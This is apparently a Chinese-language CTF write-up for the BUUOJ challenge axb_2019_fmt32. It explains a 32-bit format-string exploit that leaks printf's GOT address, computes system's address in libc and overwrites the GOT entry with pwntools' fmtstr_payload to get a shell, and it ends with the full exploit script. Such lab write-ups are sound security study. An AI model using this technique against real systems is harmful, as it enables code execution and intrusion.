axb_2019_fmt32

对我来说是很难的格式化字符串漏洞了。
看题目的时候就觉得不对,溢出不了,完全没有一个溢出的可能
然后就是学习了一波格式化字符串漏洞的小细节。
对于格式化漏洞,我们肯定是要有个输入去判断一下输入的偏移量。
image
比如这里,输入可以看到有个改变,32位4个字节,为了保持页对齐,所以多来一个字符是合理的。
这样可以看到偏移量是8
我们的第一个payload就可以变成这样
payload='a'+p32(printf_got)+'B'+"%8$s"

为了对齐输入一个'a',然后给printf_got表放上去,输入就是偏移量为8的地方,所以放也是放到偏移量为8的地方,got表上存着printf在这个文件里的真实地址,那我用%8$s这玩意就可以完美的把它泄露出来。
'B'是我自己放的一个小标识
image
然后再怎么办呢,就是有了地址,我这里还是不能溢出,一个思路就是把这个printf函数改成system函数,这样就是完成了效果,这个操作就是修改got表
用一个这个玩意
fmtstr_payload

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写

完整exp:

点击查看代码
from pwn import *
context(os='linux',arch='i386')
io=remote("node4.buuoj.cn",25685)
elf=ELF("./axb_2019_fmt32")
io.recvuntil("Please tell me:")
printf_got=elf.got["printf"]
payload='a'+p32(printf_got)+'B'+"%8$s"
io.send(payload)
io.recvuntil('B')
printf_addr=u32(io.recv(4))
libc=ELF("./libc-2.23(32).so")
libcbase=printf_addr-libc.sym['printf']
sys_addr=libcbase+libc.sym['system']

payload='a'+fmtstr_payload(8,{printf_got:sys_addr},write_size = "byte",numbwritten = 0xa)
io.sendline(payload)
io.sendline(";/bin/sh\x00")
io.interactive()
posted @ 2022-07-04 16:26  REPWNER  阅读(163)  评论(0)    收藏  举报